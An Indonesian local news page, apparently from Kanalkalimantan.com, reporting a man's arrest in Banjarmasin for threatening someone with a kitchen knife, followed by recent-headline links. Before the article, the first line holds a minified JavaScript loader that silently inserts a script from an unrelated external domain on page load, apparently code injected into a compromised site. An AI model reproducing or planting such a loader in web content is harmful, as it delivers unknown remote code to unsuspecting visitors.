(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Mengancam Pakai Sajam, Lelaki 35 Tahun di Belitung Banjarmasin Masuk Bui


KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Sektor (Polsek) Banjarmasin Barat menangkap seorang warga Banjarmasin yang melakukan pengancaman dengan menggunakan senjata tajam.

RF (35) warga Jalan Belitung Darat, Gang Laksana RT 24, Kelurahan Belitung Selatan, Kecamatan Banjarmasin Barat, Kota Banjarmasin, mendekam dalam tahanan kantor akibat perbuatannya mengancam Djohansyah (54).

Kejadian tersebut bermula pada Minggu (9/4/2023) sekitar pukul 16.00 Wita, ketika korban pergi ke pasar depan Gang Amal untuk membeli keperluan untuk berbuka puasa.

Saat itu korban mendengar keponakannya Fatmawati diancam oleh pelaku dengan kata-kata “kena betamuan haja (nanti ketemu saja)”.

 

Baca juga: Berlebaran di Penjara Gegara Dua Paket Sabu

Mendengar keponakannya diancam, korban mencoba untuk mengkonfirmasi langsung kepada pelaku RF di Jalan Belitung Darat Gang Laksamana, Kelurahan Belitung Selatan.

Sesaat sampai di depan rumah pelaku, korban langsung dikejar oleh pelaku yang ditangannya sambil membawa sebuah sajam jenis pisau dapur.

“Barang bukti satu bilah sajam jenis pisau dapur panjang 25 cm,” tulis Reskrim Polsek Banjarmasin Barat, Senin (10/4/2023) malam.

Atas kejadian tersebut korban Djohansyah langsung melaporkan ke Mapolsek Banjarmasin Barat untuk dilakukan proses hukum.

Setelah menerima laporan unit Reskrim Polsek Banjarmasin Barat langsung bergerak untuk mengamankan pelaku RF.

Masih di hari yang sama pada Minggu (9/4/2023) sekitar pukul 17.00 Wita, pelaku berhasil diamankan di jalan Belitung Darat depan Gang Budi Utama, Kelurahan Belitung Utara tembus Mantuil lokasi 3 RT 02 Kelurahan Belitung Selatan.

Baca juga: Tarawih di Masjid Agung Banjarbaru, Wapres KH Ma’ruf Amin Pesan Perbanyak Ibadah di 10 Malam Terakhir Ramadhan

Selanjutnya pelaku dan barang bukti dibawa ke Polsek Banjarmasin Barat guna proses hukum lebih lanjut.

Pelaku diancam dengan Pasal 335 KUHP tentang pengancaman dengan ancaman hukum maksimal satu tahun penjara. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Bupati Banjar Ikuti RDP Komisi II DPR dan Mendagri Secara Daring

KANALKALIMANTAN.COM, MARTAPURA - Rapat Kerja dan Rapat Dengar Pendapat (RDP) bersama Menteri Dalam Negeri (Mendagri)… Read More

1 jam ago

Bahas Revisi RTRW Batola, Dinas PUPR Kalsel Gelar Rapat Forum Penataan Ruang

KANALKALIMANTAN.COM, BANJARBARU - Forum Penataan Ruang (FPR) Provinsi merupakan bagian dari mekanisme penyusunan regulasi tata… Read More

2 jam ago

Bawaslu Banjarbaru Panggil Para Terlapor Dugaan Netralitas Pemantau

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru menerima sejumlah laporan usai pelaksanaan Pemungutan… Read More

2 jam ago

Rakernis Bidang Kesehatan 2025, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Rapat Kerja Teknis (Rakernis) bidang… Read More

2 jam ago

Penanganan Dugaan Politik Uang PSU Tak Berlanjut, Begini Penjelasan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penanganan pelanggaran dugaan money politic menjelang pelaksanaan Pemungutan Suara Ulang (PSU) di… Read More

3 jam ago

Pimpin Peringatan Hari Otda 2025, Wabup Sampaikan Apresiasi kepada Jajaran

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Otonomi Daerah XXIX Tahun 2025 digelar oleh Pemkab Banjar di… Read More

7 jam ago